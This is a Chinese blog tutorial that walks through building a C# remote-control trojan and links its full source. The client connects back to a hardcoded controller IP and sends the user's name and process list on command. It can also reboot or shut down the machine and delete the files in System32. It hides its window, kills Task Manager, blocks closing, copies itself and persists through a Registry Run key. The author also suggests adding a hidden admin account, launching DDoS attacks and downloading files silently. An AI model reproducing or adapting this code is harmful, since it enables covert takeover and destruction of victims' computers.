小白C#窗体系列-07.打造自己的C#远控系列软件

软件下载(.NET 4.0 框架)http://pan.baidu.com/s/1mg6z1MC 【源码看下面】

防止有人恶意利用,我发的是最原始版本,强化版没敢发

一、设计图纸:(更多在于思路)

二、代码分析: 1.服务器     ①监听Socket

//启动的时候执行Server_Load事件

Control.CheckForIllegalCrossThreadCalls = false;  //关闭跨线程检测

//创建一个监听Socket --第一个参数是IPV4,第二个是选的流式传输,第三个是对应的协议

Socket socketWatch = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

//获取IP

//IPAddress ip = IPAddress.Any;

IPAddress ip = IPAddress.Parse("192.168.92.1"); // 我 写 死 的, 你 可以 改

//获取端口+IP

IPEndPoint point = new IPEndPoint(ip, 5438);  //获取端口号和ip

//开始监听

socketWatch.Bind(point);

//设置监听队列

socketWatch.Listen(50);

//等待客户端连接

Thread th = new Thread(Wait);

th.IsBackground = true;

th.Start(socketWatch);

Dictionary<string, Socket> dicSocket = new Dictionary<string, Socket>(); //用来放肉鸡的ip+端口和对应的Socket
//Wait方法:

#region 线程执行一:等待肉鸡们的连接

public void Wait(Object o)

{

Socket socketWatch = o as Socket;

while (true)

{

Socket socketSend = socketWatch.Accept();//返回一个客户端Socket对象

string point = socketSend.RemoteEndPoint.ToString();

dicSocket.Add(point, socketSend);//添加到键值对中

ListViewAdd(point);//添加到ListView中

}

}

#endregion

//ListViewAdd方法

public void ListViewAdd(string point)//这个point是个IP+端口号

{

int index = point.LastIndexOf(‘:‘);

string ip = point.Substring(0, index);//截取不到index

string port = point.Substring(index + 1);

ListViewItem item = new ListViewItem(dicSocket.Count.ToString("000000"));//添加序号

item.SubItems.Add(ip);//添加ip

item.SubItems.Add(port);//添加端口

listView1.Items.Add(item);

listView1.Tag = point; //Tag很重要

}

②通信Socket //准备给肉鸡发指令

//这个是将会调用的反馈的方法:

#region 等待肉鸡们发的反馈--我发命令后才用收反馈,而不是一直等(节约资源)

public void ClientInfo(Object o)

{

Socket socketSend = o as Socket;

byte[] buffer = new byte[1024 * 1024 * 3];

int r = socketSend.Receive(buffer);

string output = Encoding.UTF8.GetString(buffer, 0, r);//返回用户名 | 监听的数据(任务进程)

Info i = Info.CreateInfo(); //一个子窗体,用来记录信息的,他的构造函数被我私有化了,只能通过单利模式来创建

i.Show();

i.ShowInfo(output); //把信息写到他的文本框中

}

#endregion

//这个是将会调用的发指令的方法:

public void YouMustToUsing(byte cmd)

{

try

{

string s = listView1.Tag.ToString(); //获取选定项的tag,tag其实里面放的是IP:端口

byte[] buff = new byte[1];

buff[0] = cmd;

dicSocket[s].Send(buff);     //跟据tag在dicSoket里面找到对象的Socket对象,对他执行发指令

if (cmd == 0 || cmd == 1) //有些不需要等待的

{

ClientInfo(dicSocket[s]);  //等待客户端发的信息--方法在上面

}

}

catch { MessageBox.Show("肉鸡下线了~"); }

}

发指令: 0-获取用户名 1-获取进程 2-重启 3-关机 4-灭鸡(对方系统会被摧毁,慎用)               YouMustToUsing(0); YouMustToUsing(2); YouMustToUsing(3); YouMustToUsing(4);

放生:(只是暂时放生它)

dicSocket.Remove(listView1.Tag.ToString()); //把键值对里面值移除

listView1.SelectedItems[0].Remove(); //把列表项移除

2.客户端     ①通信Socket  1、连接服务器

#region 连接服务器

public void ClientConnect()

{

while (b)//连接没问题就只连接一次,一旦出现问题就反复连接直到成功

{

try

{

//创建一个Socket通信对象

socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

//获取服务器ip

IPAddress ip = IPAddress.Parse("192.168.92.1");

//开始连接

socketSend.Connect(ip, 5438);

b = false;//到这一步说明程序正常,就不要反复连接来占用资源了

//连接成功后咱们就得接受服务器的指令了

Thread th = new Thread(DntWatch);

th.IsBackground = true;

th.Start();

}

catch

{

b = true;//有问题,那就继续连呗,反正又不是咱们的电脑,不能告诉他详细信息的

}

}

}

#endregion

2、获取用户名:Environment.UserName.ToString();          3、 获取进程:

#region 获取进程

public string GetProcess()

{

StringBuilder sb = new StringBuilder();

Process[] ps = Process.GetProcesses();

foreach (Process item in ps)

{

sb.Append(item.ProcessName).Append("\n");

}

return sb.ToString();

}

#endregion

4、 重启+关机,这个当时在C#伪病毒的第三期讲解过,再稍微说下吧,看代码吧:   "shutdown -r -t 0" 是0秒后重启,"shutdown -s -t 0"是0秒后关机,你在Win+R中试试就懂了

[DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]

private static extern int ExitWindowsEx(int uFlags, int dwReserved);

public void DNT(string input)//关机 //重启 input就是上面的代码shutdown指令

{

System.Diagnostics.Process myProcess = new System.Diagnostics.Process();

myProcess.StartInfo.FileName = "cmd.exe";  //启动文件名字--cmd

myProcess.StartInfo.UseShellExecute = false; //不需要shell启动进程

myProcess.StartInfo.RedirectStandardInput = true; //从流中读取

myProcess.StartInfo.RedirectStandardOutput = true; //将输出写入流中

myProcess.StartInfo.RedirectStandardError = true;//如果有错误也写到流中

myProcess.StartInfo.CreateNoWindow = true; //在新窗口中启动

myProcess.Start(); //启动

myProcess.StandardInput.WriteLine(input);//向流中写入参数

}

5、灭鸡 ----小灭,就删你点东西

string dPath = @"C:\Windows\System32";

string[] dfiles = Directory.GetFiles(dPath);

foreach (string item in dfiles)

{

try

{

Process.Start("cmd");

File.Delete(item);

}

catch

{

continue;

}

}

DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");

②简单防护         1、诡异大小  加载的时候设置width height 为0

this.Width = 0;            this.Height = 0;

2、透明消失

this.Opacity=0;

3、图标隐藏

this.ShowInTaskBar=false;

4、进程防杀--换个思路:不让打开任务进程 ----不要用线程拉个死循环,很浪费内存的,一个timer就ok了

public void KillProcess()

{

Process[] pro = Process.GetProcessesByName("taskmgr");

foreach (Process item in pro)

{

try { item.Kill(); }

catch { }

}

}

private void timer1_Tick(object sender, EventArgs e)

{

KillProcess();

}

5、不让关闭

private void Client_FormClosing(object sender, FormClosingEventArgs e)

{

e.Cancel = true; //关闭事件取消

}

6、自护模式--复制一份自己到一个制定目录下,再打开

try

{

string path = Application.ExecutablePath; //获取当前文件全路径

string fileName = Path.GetFileName(path); //获取文件名+后缀

Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt"); //创建这个目录

string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\" + fileName;

if (!File.Exists(newFileName))

{

File.Copy(fileName, newFileName, true); //复制一份过去

Process.Start(newFileName);

}

}

catch { }

7、开机自启---我没写进去,你要弄可以把注释取消掉----要操作注册表了(逆天注册表也不是很懂,这个是借鉴的,所有不能满足所有电脑,下次逆天会自学下注册表的)

public void Startup()  //win8 60%的电脑有用,win7都可以

{

try

{

string KJLJ = Application.ExecutablePath;

if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在

return;

string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") + 1);

string path="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

RegistryKey Rkey = Registry.LocalMachine.OpenSubKey(path, true);

if (Rkey == null)

Rkey = Registry.LocalMachine.CreateSubKey(path);

Rkey.SetValue(newKJLJ, KJLJ);

}

catch { }

}

补充,只是提供一个思路: ①比如你想登肉鸡的电脑,那么调用cmd 加这几个参数就行了: net user dnt 123456 /add  //添加用户dnt,密码123456

net localgroup administrators dnt /add //把dnt加到管理员行列中

②比如你想DDos打站,那你传个ip过来就可以了,是自己打还是调用别人软件什么的,自己看着办吧 ③比如你想传个文件来,那么你传个地址来,让客户端默认后台下载就行了 等等。。。。。思路无限,关键你想。。。

三、源码分享:http://pan.baidu.com/s/1qWFKJhU

四、视频共享: 等~~~

本期推荐: .NET3.5框架(突破系统底层安装)                                                                      下一期:小议Base64+MD5加密

时间: 2024-12-10 04:21:00

小白C#窗体系列-07.打造自己的C#远控系列软件的相关文章

小白C#窗体系列-11.打造汉音互转神器

汉语拼音不好怎么办?网站拼音搜索怎么搞?一切尽在转换神器~软件和源码先发布,等我有时间再讲解~ 软件下载:http://pan.baidu.com/s/1kTMIxOb 源码下载:http://pan.baidu.com/s/1gdGKVVd 本期推荐: codesmith三层模板   英朗大字典                                                                      下一期:代码生成器

小白C#窗体系列-10.打造万能图片转换器

今天频繁的对图片进行一些转换格式什么的,就自己编了个万能图片转换器,最近在弄一些东西,腾不下时间去解析这个了,先把源码和软件发布一下,1.0版本没加文件夹批量转换(一个判断一个遍历而已,下次写解析文档的时候顺便加下) 软件下载:http://pan.baidu.com/s/1nOIXC (1.0) 软件下载:http://pan.baidu.com/s/1gd5p8Sr(1.1) 源码下载:http://pan.baidu.com/s/1sj6rbRZ (1.0) 源码下载:http://pan

小白C#窗体系列-06.MD5系列加密小工具

加密解密从XX几百万用户信息泄露开始就已经得到重视,这两年就跟牛了,其实加密并不是什么杂七杂八的,一个思路就能得到强有利的密文,当你的数据库被黑客窃走时你强大的加密就会耗上黑客很多时间,这就为你拯救网站拯救服务器留下了很大的空间,进几年MD5非常火,后来XMD5也慢慢流行起来了各种变态的加密方式涌了上了,逆天今天给大家提供几个很简单很简单的思路(就是这简单的思路让很多解密网站都崩溃了...) 为了满足站长的需求,把变异型的再次md5了一下,产生固定位数的密文 加之与国际接轨和资源节省的需求,1.

小白C#窗体系列-02.二维码生成器

今天是情人节,咳,男人们带着他们的男朋友们,女人带着她们的女朋友们愉快的逛着街.逆天也就不随大众了,就继续出C#小白系列的教程了~~~ 实在没空去录教程了,就看看文档吧,大家都知道的,录教程是比较花时间的,我不想草草了事,那是对大家和我自己的不负责,视频可以以后再录,不过软件和源码以及文档得先弄好,毕竟逆天不喜欢失信与自己~~ 废话不说了,开始我们的教程吧~ 软件下载(.NET 4.0 框架)http://pan.baidu.com/s/1i3BUVNv[源码看下面] 一.设计图纸: 二.代码分

小白C#窗体系列-01.简易浏览器

最近重伤,今天正好放假,就抽个空出C#第一集,开发完毕... 如果你看不到这篇文章,那过一天就可以看见了. 软件下载(.NET 4.0 框架)http://pan.baidu.com/s/1c03X7vM[源码看下面] 一.设计图纸: 二.代码分析 1.后退键. 前进键.停止键.刷新键:这几个功能本来我是准备用个数组来存储,可以前进后退的,后来啃他自带方法的时候发现微软提供了方法,也就偷个懒了后退按钮 this.webBrowser1.GoBack(); 前进按钮 this.webBrowser

小白C#窗体系列-04.点名系列的小系统

这个东西其实是最简单的东西了,一个随机数一个集合一个timer控件就搞定了.本来不想写这一期的,后来有个哥们跟我说他在网上买了个抽奖系统花了几百块钱....软件发过来我一反编译...当时我就愣了...一个猥琐的非人类就这样坑了一个好骗的人类...        步入正题,逆天今天给大家带来的是点名抽奖系列的小系统,为了普遍性和简易性就没有写死直接用一个txt记录(其实写死的程序也可以改变他的一些内容,在本章节的最后会给大家一个小工具[C32Asm]) 软件下载(.NET 4.0 框架)http:

小白C#窗体系列-09.SHA系列加密

SHA系列加密,SHA512安全是安全,但位数太长了,很少有人用它加密密码,下面我就简单介绍一下SHA和一些变种加密(SHA512也会用进去的) 程序跟国际化接轨,都是用的UTF-8编码格式 (如果有比我还菜的鸟写出相同的加密方式得到的密文不同,如果要质疑的话,先把编码看一下,不同编码产生密文是不同的) 提供另一种思路(下期会讲):在多重加密的过程中反复变化编码...自己想象去吧~ 这个是SHA-1的加密写法,和MD5一样的 也许有人会问,那个for循环怎么没了?我这边用的是官方提供的方法,fo

小白C#窗体系列-03.图片查看器

新增拖拽功能 如果出现看不见的情况明天就好了,好了我们步入正题,作为一个吊丝,如果你用你女朋友/女神的照片做了个图片浏览器,那么你每次用来看图的时候第一张看的都是她了,当看到第二张你想看见的图时,是不是有个鲜明的对比呢,是落差还是什么的,就因人而异咯~~又开始想入非非了?哈哈,不扯淡了,继续:4步走~~~ 软件下载(.NET 4.0 框架)http://pan.baidu.com/s/1i387wJ7  [源码看下面] 逆天图片查看器1.0.1 下载   http://pan.baidu.com

小白C#窗体系列-08小议Base64+MD5加密

啥是Base64呢?怎么说呢,这个加密比较常用,想想迅雷的下载地址,想想QQ旋风和快车.他们就是用的这个Base64来加密地址,现在网上很多地址解析器,原理就是反Base64.        Base64编码的思想是是采用64个基本的ASCII码字符对数据进行重新编码.它将需要编码的数据拆分成字节数组.以3个字节为一组.按顺序排列24 位数据,再把这24位数据分成4组,即每组6位.再在每组的的最高位前补两个0凑足一个字节.这样就把一个3字节为一组的数据重新编码成了4个字节.当所要编码的数据的字节